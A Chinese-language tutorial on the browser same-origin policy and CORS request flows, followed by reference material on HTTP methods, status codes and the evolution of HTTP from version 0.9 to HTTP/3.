JavaScript 的 API 中,如 iframe.contentWindow、window.parent、window.open、window.opener 允许文档间直接相互引用。当两个文档不同源时,这些引用方式将对 Window 和 Location 对象的访问添加限制,为了能让不同源的文档进行交互,可以使用 window.postMessage。
Window
允许以下对 Window 方法与属性的跨域访问:
方法 |
---|
window.blur |
window.close |
window.focus |
window.postMessage |
属性 | 是否可读写 |
---|---|
window.closed | 只读 |
window.frames | 只读 |
window.length | 只读 |
window.location | 读写 |
window.opener | 只读 |
window.parent | 只读 |
window.self | 只读 |
window.top | 只读 |
window.window | 只读 |
某些浏览器允许访问除上述外更多的属性。
Location
允许以下对 Location 方法与属性的跨域访问:
方法 |
---|
location.replace |
属性 | 是否可读写 |
---|---|
URLUtils.href | 只写 |
某些浏览器允许访问除上述外更多的属性。
跨域数据存储访问
访问存储在浏览器中的数据,如 LocalStorage 和 IndexedDB,是以源进行分隔的。每个源都拥有自己单独的存储空间,一个源中的 JavaScript 脚本不能对属于其它源的数据进行读写操作。
Cookie 使用不同的源定义方式。一个页面可以为本域和父域设置 Cookie,只要父域不是顶域(公共后缀 public suffix)即可。无论使用哪个协议或端口号,浏览器都允许给定的域及其任何子域(sub-domains)访问 Cookie。当你设置 Cookie 时,可以使用 Domain、Path、Secure 和 HttpOnly 标记来限定其可访问性。
当你读取 Cookie 时,你无法知道它是在哪里被设置的。即使你只使用安全的 https 连接,你看到的任何 Cookie 都有可能是使用不安全的连接进行设置的。
CORS 使用场景
跨域资源共享标准(Cross-Origin Sharing Standard)允许在下列场景中使用跨域 HTTP 请求:
由 XMLHttpRequest 或 Fetch 发起的跨域 HTTP 请求
Web 字体(CSS 中通过@font-face 引用跨域字体字体)
WebGL 贴图
使用 drawImage 将 Image/Video 画面绘制到 canvas
功能概述
跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站点通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookie 和 HTTP 认证相关数据)。
CORS 请求失败会产生错误,但是为了安全,在 JavaScript 代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。
简单请求
某些请求不会触发 CORS 预检请求。我们称这样的请求为“简单请求”。
简单请求的必要条件
简单请求需要全部满足下列四个条件:
使用下列三个方法之一
GET
HEAD
POST
除用户代理自动设置的头部字段(如 Connection、User-Agent、Fetch 规范中定义的禁用头部名称)外,仅可手动设置 Fetch 规范中定义的 CORS 安全请求头如下,而不得设置其他头部字段
Accept
Accept-Language
Content-Language
Content-Type(仅限为下列三者之一)
text/plain
multipart/form-data
application/x-www-form-urlencoded
HTML 头部 header field 字段
DPR
Downlink
Save-Data
Viewport-Width
Width
请求中的任意 XMLHttpRequestUpload 对象均没有注册任何事件监听器,XMLHttpRequestUpload 对象可以使用 XMLHttpRequest.upload 属性访问
请求中没有使用 ReadableStream 对象
简单请求基本流程
一、对于简单请求,浏览器会直接发出,发送过程中会自动增加一个 Origin 字段来标识请求发送方的源。
- Origin:说明了请求来自哪个源,格式为(协议、主机、端口)
二、服务端则根据 Origin 字段决定是否同意该请求。若 Origin 指定的源不在许可范围,服务器会返回一个正常的 HTTP 响应。浏览器发现响应的头信息中没有包含 Access-Control-Allow-Origin 字段,就会抛出一个错误,被 XMLHttpRequest 的 onerror 回调函数捕获。若 Origin 指定的源在许可范围内,服务器返回的响应,会包含访问控制的响应头字段 Access-Control-Allow-Origin,浏览器收到响应后,判断自己的 Origin 在 Access-Control-Allow-Origin 允许的源中,正常接收响应。当然,请求的源在许可范围时,服务端除了必选字段 Access-Control-Allow-Origin 外,还可能添加其他可选的访问控制头。
Access-Control-Allow-Origin:必有字段,表示许可访问的源,通常是指定一个具体的源,但要使资源能够被任意源访问,则指定为“*”通配符。注意,该头部的默认配置是不支持指定多个具体的源地址的,需要借助服务器变量等方式实现。
Access-Control-Allow-Credentials:可选字段,为布尔值,在简单请求中表示客户端 AJAX 请求 withCredentials 设置为 true 时,浏览器是否可以读取响应的内容。在预检请求中表示是否允许浏览器发送 Cookie。
虽然该字段在两种请求中作用机制有所不同,但目的是相同的,即是否接收浏览器发送的 Cookie。之所以有两种机制,则是因为简单请求没有预检,浏览器无法阻止用户发送 Cookie,那么就只能拦截响应的内容。而预检请求告知了浏览器服务端不接受 Cookie 时,浏览器就不会发送 Cookie 了。
另外值得注意的一点是,要接收携带 Cookie 的请求,服务端的 Access-Control-Allow-Origin 字段不可设置为通配符“*”,而应该设置为一个具体的源,否则请求会失败。
Access-Control-Expose-Headers:可选字段。CORS 请求时,XMLHttpRequest 对象的 getResponseHeader() 方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。若想要获取到其他字段,就必需在 Access-Control-Expose-Headers 里面指定。
预检请求
除简单请求外,都是需预检(preflight)的请求,也就是常说的非简单请求。非简单请求要求首先使用 OPTIONS 方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。预检请求避免了跨域请求对服务器端的用户数据产生未预期的影响。常见的非简单请求的情况是使用 PUT 或 DELETE 方法的请求,或 Content-Type 为 application/json 的请求。
预检请求基本流程
一、当浏览器发现用户发要出一个非简单请求时,就先自动发出一个方法为 OPTIONS 的预检请求,请求头信息中主要包含 Origin 及预检请求的两个特殊头字段:
Access-Control-Request-Method:必要字段,该字段用以列出浏览器的 CORS 请求会用到什么 HTTP 方法
Access-Control-Request-Headers:可选字段,该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段
二、服务器收到预检请求以后,检查了 Origin、Access-Control-Request-Method 和 Access-Control-Request-Headers 字段后,如果发现不符合服务器的设定,就会直接返回一个正常的 HTTP 响应。浏览器发现响应中没有任何 CORS 相关的头信息字段,就会认为服务端不同意预检请求,进而抛出一个错误,被 XMLHttpRequest 的 onerror 回调函数捕获。若服务器检查预检请求后,确认允许,则会在响应中加上 CORS 相关的头信息字段并返回响应。
Access-Control-Allow-Methods:必要字段,该字段是一个逗号分隔的字符串,表明服务器支持的所有跨域请求的方法。注意这里返回的是所有支持的方法,而不单是浏览器请求的那个方法,这避免了多次预检请求。
Access-Control-Allow-Headers:若请求中包含 Access-Control-Request-Headers 字段,则该字段为必要字段,是一个逗号分隔的字符串,表明服务器所支持的所有头信息字段,不限于浏览器本次预检请求的字段。
Access-Control-Allow-Credentials:同简单请求相同。
Access-Control-Max-Age:可选字段,表示本次预检请求的有效期,单位为秒。在预检请求有效期内,无需再次发出预检请求(浏览器自身还维护了一个最大有效时间,若 Access-Control-Max-Age 设置的有效时间超过了最大有效时间,将不会生效)。
三、一旦预检请求的响应验证通过,客户端将向服务端发送真实请求,真实请求类似简单请求,请求时带有 Origin 头字段,服务器的响应则带有 Access-Control-Allow-Origin 头字段。浏览器在预检响应的有效期内的非简单请求,将不再发送预检请求,变得和简单请求一样了。
解决跨域的几种方式
CORS:本节内容,解决跨域的最佳实践;
JSONP:由于 script 标签不受跨域影响的特性,前端定义好回调函数,并放入 script 标签的 url 中,再让服务端收到请求后将信息带在回调函数中;
Nginx 反向代理:通过同源地址代理访问跨域地址,规避浏览器同源策略;
Websocket:Websocket 协议不在浏览器同源策略限制范围内,可使用 Websocket 协议解决跨域问题;
其他方式:window.postMessage、window.name、document.domain、location.hash
HTTP 请求方法
方法 | 说明 |
---|---|
GET | 请求一个指定资源,只应用于获取数据(幂等),常用于请求数据 |
HEAD | 与 GET 请求相同,只是响应中只包含头部,没有响应体 |
POST | 用于将实体提交到指定资源,通常会导致服务器上的状态变化(非幂等),常用于新增数据 |
PUT | 用于将载荷提交到指定资源,替换指定资源的原载荷,常用于修改数据 |
PATCH | 用于修改部分资源,是对 PUT 方法的补充 |
DELETE | 用于删除指定的资源 |
OPTIONS | 用于描述访问目标资源时通信的选项,常用于预检请求 |
CONNECT | 建立一个到目标资源服务器的隧道 |
TRACE | 沿到目标资源的路径执行一个环回测试 |
HTTP 响应代码
HTTP 响应状态代码指示特定 HTTP 请求是否已经成功完成。响应分为五类:信息响应(100-199),成功响应(200-299),重定向(300-399),客户端错误(400-499)和服务器错误(500-599)。
信息
100 Continue
这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。
101 Switching Protocol
该状态代码是服务端响应客户端 Upgrade 头请求的,表示服务器正在切换协议,协议切换只能升级,而不能降级。
102 Processing(WebDAV:Web Distributed Authoring and Versioning)
表示服务器已收到并正在处理请求,但没有响应可用。
103 Early Hints
此状态码主要与 Link 链接头一起使用,允许用户代理在服务器仍在准备其他响应时预加载资源。
成功
200 OK
请求成功。
201 Created
请求已成功,并因此创建了一个新的资源。这通常是 POST 请求或 PUT 请求后返回的响应。
202 Accepted
请求已收到,但还未响应,没有结果。该状态码表示没有异步响应能表明当前请求的结果,预期另外的进程和服务去处理请求,或批处理。
203 Non-Authoritative Information
服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前信息可能是原始版本的子集或超集。
204 No Content
服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于 204 响应禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。
205 Reset Content
服务器成功处理了请求,且没有返回任何内容。但是与 204 响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与 204 响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
206 Partial Content
服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或迅雷这类 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。
207 Multi-Status(WebDAV)
WebDAV 扩展的状态码,代表之后的消息体将是一个 XML 消息,并且可能依照之前子请求数量不同,包含一系列独立的响应代码。
208 Already Reported(WebDAV)
在<dav:propstat>
响应中使用,用以防止在同一个集合中重复枚举内部成员的多重绑定。
226 IM Used(HTTP Delta encoding)
服务器已经完成了对资源的 GET 请求,并且响应是对当前实例应用的一个或多个实例操作结果的表示。
重定向
300 Multiple Choice
被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。除非额外指定,否则该响应可缓存。
301 Moved Permanently
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
302 Found
请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在 Cache-Control 或 Expires 中进行了指定的情况下,这个响应才是可缓存的。
如果这不是一个 GET 或者 HEAD 请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。
虽然 RFC 1945 和 RFC 2068 规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将 302 响应视作 303 响应,并且使用 GET 方法访问在 Location 中规定的 URI,而无视原先请求的方法。因此状态码 303 和 307 被添加进来,用以明确服务器期待客户端进行何种反应。
303 See Other
对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的 POST 请求输出重定向到一个新的资源。303 响应本身是禁止被缓存的,但重定向后的响应可能被缓存。
304 Not Modified
客户端发送的请求中带有 If-Modified-Since 或 If-None-Match 头部,说明客户端已经有当前资源的缓存,但无法确认是否过期。而服务端资源未改变,使用此状态码告知客户端此资源未过期,可以继续使用,无需重新传输资源。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。
305 Use Proxy(Deprecated)
被请求的资源必须通过指定代理才能访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应的资源。只有原始服务器才能建立 305 响应。
306 Switch Proxy(Unused)
最初是指“后续请求应使用指定的代理”。在最新的规范中,306 状态码已经不再使用。
307 Temporary Redirect
与 302 临时重定向大致相同,唯一的区别是客户端不能改变 HTTP 请求的方法,若第一次请求是以 POST 方法发起的,那么后续请求也必需使用 POST 方法。
308 Permanent Redirect
与 301 永久重定向大致相同,唯一的区别是客户端不能改变 HTTP 请求的方法,若第一次请求是以 POST 方法发起的,那么后续请求也必需使用 POST 方法。
客户端错误
400 Bad Request
语义有误,当前请求无法被服务器理解。
请求参数有误。
401 Unauthorized
当前请求需要用户身份验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么 401 响应代表服务器验证已经拒绝了该证书。如果 401 响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。
有些网站禁止某些 IP 地址时,响应状态码会显示为 401,表示拒绝访问网站。
402 Payment Required
此响应代码保留以便未来使用,最初设计是用于数字支付系统,现在处于未使用状态。Google Developers API 会使用此状态码,表示开发人员已超过请求的每日限制。
403 Forbidden
服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应,假如它不希望让客户端获得任何信息。
404 Not Found
请求失败,请求所希望得到的资源未在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用 410 状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404 这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或没有其他适合的响应可用的情况下。
405 Method Not Allowed
请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个 Allow 头信息用以表示出当前资源能够接受的请求方法的列表。鉴于 PUT,DELETE 方法会对服务器上的资源进行写操作,因而绝大部分网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回 405 错误。
406 Not Acceptable
请求资源的内容特性无法满足请求头中的条件,因而无法生成响应体。
407 Proxy Authentication Required
与 401 响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。
408 Request Timeout
请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。
409 Conflict
由于和被请求的资源当前状态之间存在冲突,请求无法完成。这个代码只允许用于下面的情况:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。
410 Gone
被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的情况应该被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是永久的,那么就应该使用 404 状态码。除非额外说明,否则这个响应是可缓存的。
大多数服务端不会使用此状态码,而是直接使用 404 状态码。
411 Length Required
服务器拒绝在没有定义 Content-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头后,客户端可以再次提交该请求。
412 Precondition Failed
服务器在验证请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
413 Request Entity Too Large
服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间后重新尝试。
414 Request-URI Too Long
请求的 URI 长度超过了服务器能够解析的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:
本应使用 POST 方法的表单提交变成了 GET 方法,导致查询字符串(Query String)过长。
重定向 URI“黑洞”,例如每次重定向把旧的 URI 作为新的 URI 的一部分,导致大若干次重定向后 URI 超长。
客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器。这类服务器使用固定长度的缓冲读取或操作请求的 URI,当 GET 后参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行。没有此类漏洞的服务器,应当返回 414 状态码。
415 Unsupported Media Type
对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。
416 Requested Range Not Satisfiable
如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回 416 状态码。
417 Expectation Failed
此响应代码意味着服务器无法满足 Expect 请求头字段指示的期望值。
418 I’m a teapot
服务器拒绝尝试用“茶壶冲泡咖啡”。
该状态码是 1998 年 IETF 的愚人节笑话,在 RFC2324 超文本咖啡壶控制协议中定义,并不需要在真实的 HTTP 服务器中定义。当一个控制茶壶的 HTCPCP 收到 BREW 或 POST 指令要求其煮咖啡时应当回传此错误。这个状态码在某些网站与项目中被作为彩蛋使用。
421 Misdirected Request
该请求针对的是无法产生响应的服务器。这可以由服务器发送,该服务器未配置针对包含在请求 URI 中的方案和权限的组合产生响应。
422 Unprocessable Entity(WebDAV)
请求格式良好,但由于语义错误而无法处理。
423 Locked(WebDAV)
正在访问的资源被锁定。
424 Failed Dependency(WebDAV)
由于先前的请求失败,所以此次请求失败。
425 Too Early
服务器拒绝处理在 Early Data 中的请求,以防范重播攻击的风险。
426 Upgrade Required
服务器拒绝使用当前协议执行请求,但可能在客户机升级到其他协议后愿意这样做。服务器在 426 响应中发送 Upgrade 头以指示所需的协议。
428 Precondition Required
原始服务器要求该请求是有条件的。旨在防止“丢失更新”问题,即客户端获取资源状态,修改该状态并将其返回服务器,同时第三方修改服务器上的状态,从而导致冲突。
429 Too Many Requests
用户在给定的时间内发送了太多请求(“限制请求速率”)。
431 Request Header Fields Too Large
服务器不愿意处理请求,因为它的请求头字段太大(Request Header Fields Too Large)。请求可以在减小请求头字段大小后重新提交。
451 Unavailable For Legal Reasons
该访问因法律要求而被拒绝,该状态码由 IETF 在 2015 核准后新增,例如:由政府审查的网页。
服务器错误
500 Internal Server Error
服务器遇到了不知道如何处理的情况,无法完成对请求的处理,也无法给出具体错误信息。
501 Not Implemented
此请求方法不被服务器支持且无法被处理。只有 GET 和 HEAD 是要求服务器支持的,它们必定不会返回此错误代码。
502 Bad Gateway
此错误响应表明服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应。
503 Service Unavaila
服务器没有准备好处理请求。常见原因是服务器因维护或重载而停机。请注意,与此响应一起,应发送解释问题的用户友好页面。这个响应应该用于临时条件和 Retry-After:如果可能的话,HTTP 头应该包含恢复服务之前的估计时间。网站管理员还必须注意与此响应一起发送的与缓存相关的头部,因为这些临时条件响应通常不应被缓存。
504 Gateway Timeout
当服务器作为网关,不能及时得到上游服务器响应时返回此错误代码。
505 HTTP Version Not Supported
服务器不支持请求中所使用的 HTTP 协议版本。
506 Variant Also Negotiates
服务器有一个内部配置错误:对请求的透明内容协商导致循环引用。
507 Insufficient Storage(WebDAV)
服务器有内部配置错误:服务器无法存储完成请求所必须的内容。这种情况被认为是临时的。
508 Loop Detected(WebDAV)
服务器在处理请求时检测到无限循环。
510 Not Extended
客户端需要对请求进一步扩展,服务器才能实现它。服务器会回复客户端发出扩展请求所需的所有信息。
511 Network Authentication Required
指示客户端需要进行身份验证才能获得网络访问权限。
HTTP 的发展
万维网的发明
超文本传输系统起初被命名为 Mesh,在 1990 年项目实施期间被更名为万维网(World Wide Web)。它在 TCP/IP 协议基础上建立,由四个部分组成:
一个用来表示超文本文档的文本格式,超文本标记语言(HTML)。
一个用来交换超文本文档的简单协议,超文本传输协议(HTTP),它是应用层协议,默认端口 80。
一个显示(以及编辑)超文本文档的客户端,即网络浏览器。第一个网络浏览器被称为 WorldWideWeb。
一个服务器用于提供可访问的文档,即 httpd 的前身。
HTTP/0.9 - 单行协议
初版 HTTP 协议没有版本号,后来它的版本号被定为 0.9 以区分后来的版本。HTTP/0.9 极其简单:请求由单行指令构成,以唯一可用方法 GET 开头,其后跟目标资源的路径。
GET /mypage.html
响应也极其简单,仅包含 HTML 文档本身。
HTTP/0.9 的响应并不包含 HTTP 头,这意味着只有 HTML 文档可以传送,无法传输其他类型文件,也没有状态码或错误代码:一旦出现问题,一个特殊的包含问题描述信息的 HTML 文件将被发回,供人们查看。
HTTP/1.0 - 构建可扩展性
HTTP/0.9 协议应用十分有限,浏览器和服务器迅速扩展内容使其用途更广:
协议版本信息随着每个请求发送。
状态码会在响应开始时发送,使浏览器能了解请求执行的状态,并根据状态调整行为。
引入了 POST 与 HEAD 方法。
引入 HTTP 头部概念,允许传输元数据,使协议变得灵活,更具扩展性。
通过使用 HTTP 的 Content-Type 头部,具备了传输 HTML 文档以外其他类型文档的能力。
HTTP/1.0 的主要缺点是每个 TCP 连接只能发送一个请求。数据发送完毕,连接就关闭,如果还要请求其他资源,必须再新建一个连接。TCP 连接建立成本很高,要经过三次握手,且建立之初发送速率慢。
HTTP/1.1 - 标准化的协议
HTTP/1.0 多种不同的实现方式在实际运用中显得有些混乱,故修订了 HTTP 的第一个标准化版本 HTTP/1.1。
HTTP/1.1 消除了大量歧义内容并引入了多项改进:
连接可以复用,节省了加载网页文档资源时多次建立 TCP 连接耗费的时间。(对于同一个域名,大多数浏览器允许同时建立 6 个持久连接)。
增加了 PUT、PATCH、HEAD、OPTIONS、DELETE 方法。
增加管道技术,允许在第一个响应被完全发送前发送第二个请求,以降低通信延迟。(被证明难以实现,已被 HTTP/2 的多路复用技术取代)
支持响应分块。
引入额外的缓存控制机制。
引入内容协商机制,包括语言,编码,类型等,并允许客户端和服务器之间约定以最合适的内容进行交互。
引入 Host 头,可以使不同域名配置在同一个 IP 地址的服务器上
缺点:
HTTP/1.1 中虽然允许连接复用与管道机制,但管道机制仅增加了请求效率,服务器响应还是要依次序进行,若前面的响应很慢,后面就会有许多请求排队等待。这就是“队头阻塞”(Head-of-line blocking)。为了避免队头阻塞,产生了许多网页优化技巧,如合并脚本与样式表、图片嵌入 CSS 代码、域名分片等。若 HTTP 协议设计得更好,这些额外的工作是可以避免的。
明文传输,安全性不佳
无状态特性导致巨大的头部
HTTP/2 - 更优异的表现
由于网页逐渐变得复杂,甚至演变为独有的应用,HTTP/1.1 的性能堪忧,谷歌通过实验性的 SPDY 协议,解决了响应数量的增加和复杂的数据传输问题,SPDY 成为了 HTTP/2 协议的基础。
HTTP/2 的优化:
HTTP/2 是二进制协议而不是文本协议。信息都封装在帧中,不再可读,也不可无障碍地手动创建。
支持多路复用。并行请求能在同一个 TCP 连接中处理,不再受 HTTP/1.x 中顺序和队头阻塞的约束。(取代了管道机制)
数据流。
由于 HTTP/2 的数据包不是按顺序发送的,同一个连接里面连续的数据包,可能属于不同的响应。因此,必须对数据包做标记,指出它属于哪个响应。
每个请求或响应的所有数据包,就称为一个数据流(stream)。每个数据流都有 ID,请求数据流 ID 一律为奇数,响应数据流 ID 一律为偶数。
数据流发送到一半时,还可以发送 RST_STREAM 帧,取消数据流,而 HTTP/1.1 就只能关闭连接来取消了。HTTP/2 可以保持连接打开的状态而取消某个请求。甚至还可以指定数据流优先级,让服务器先响应优先级高的数据流。
压缩了头部。因为头部在一系列请求中常常是相似的,移除头部重复部分,节约了传输重复数据的带宽。
允许服务器通过推送机制在客户端缓存中填充数据,如 HTTP/1.1 中,解析 HTML 源码发现静态资源,再去请求静态资源,而 HTTP/2 可以主动把静态资源随 HTML 页面发送给客户端。
缺点:
TCP 导致的连接延时 2RTT
队头阻塞没有彻底解决,丢包情况下,TCP 错误重传机制导致更差的性能
多路复用导致 QPS 高,服务器压力大
多路复用导致连接数量不受限,易超时
HTTP/2 能够迅速普及,因为 HTTP/2 不需要站点与应用做出改变:使用 HTTP/1.1 或 HTTP/2 对他们来说是透明的。只要服务器与浏览器进行更新就足够了。但 HTTP/2 也凸显出底层 TCP 协议的问题,为 HTTP/3 协议更换底层埋下伏笔。
HTTP/3 底层传输的变革
HTTP/2 协议解决了很多 HTTP 协议内部的问题,但底层 TCP 传输协议造成的问题并没有办法解决,因此 HTTP/3 直接更换了传输层协议,基于 UDP 实现。而 UDP 协议本身是不可靠传输的,因此 Google 基于 UDP 实现了可靠传输等 TCP 特性,封装为 QUIC 协议,再基于 QUIC 实现 HTTP/3 协议。
HTTP/3 的特点:
使用 QUIC 协议,快速建立连接,没有 TCP 协议的连接延迟,并在 UDP 上实现了 TCP 协议的可靠性,消除了队头阻塞的问题。
基于 UDP 传输
支持连接迁移,在 WIFI 与移动网络间切换而不断连
原生基于 TLS1.3 实现,改善安全性
缺点:
- 缺少硬件设备支持,现阶段性能没有优势,甚至略差于 HTTP/2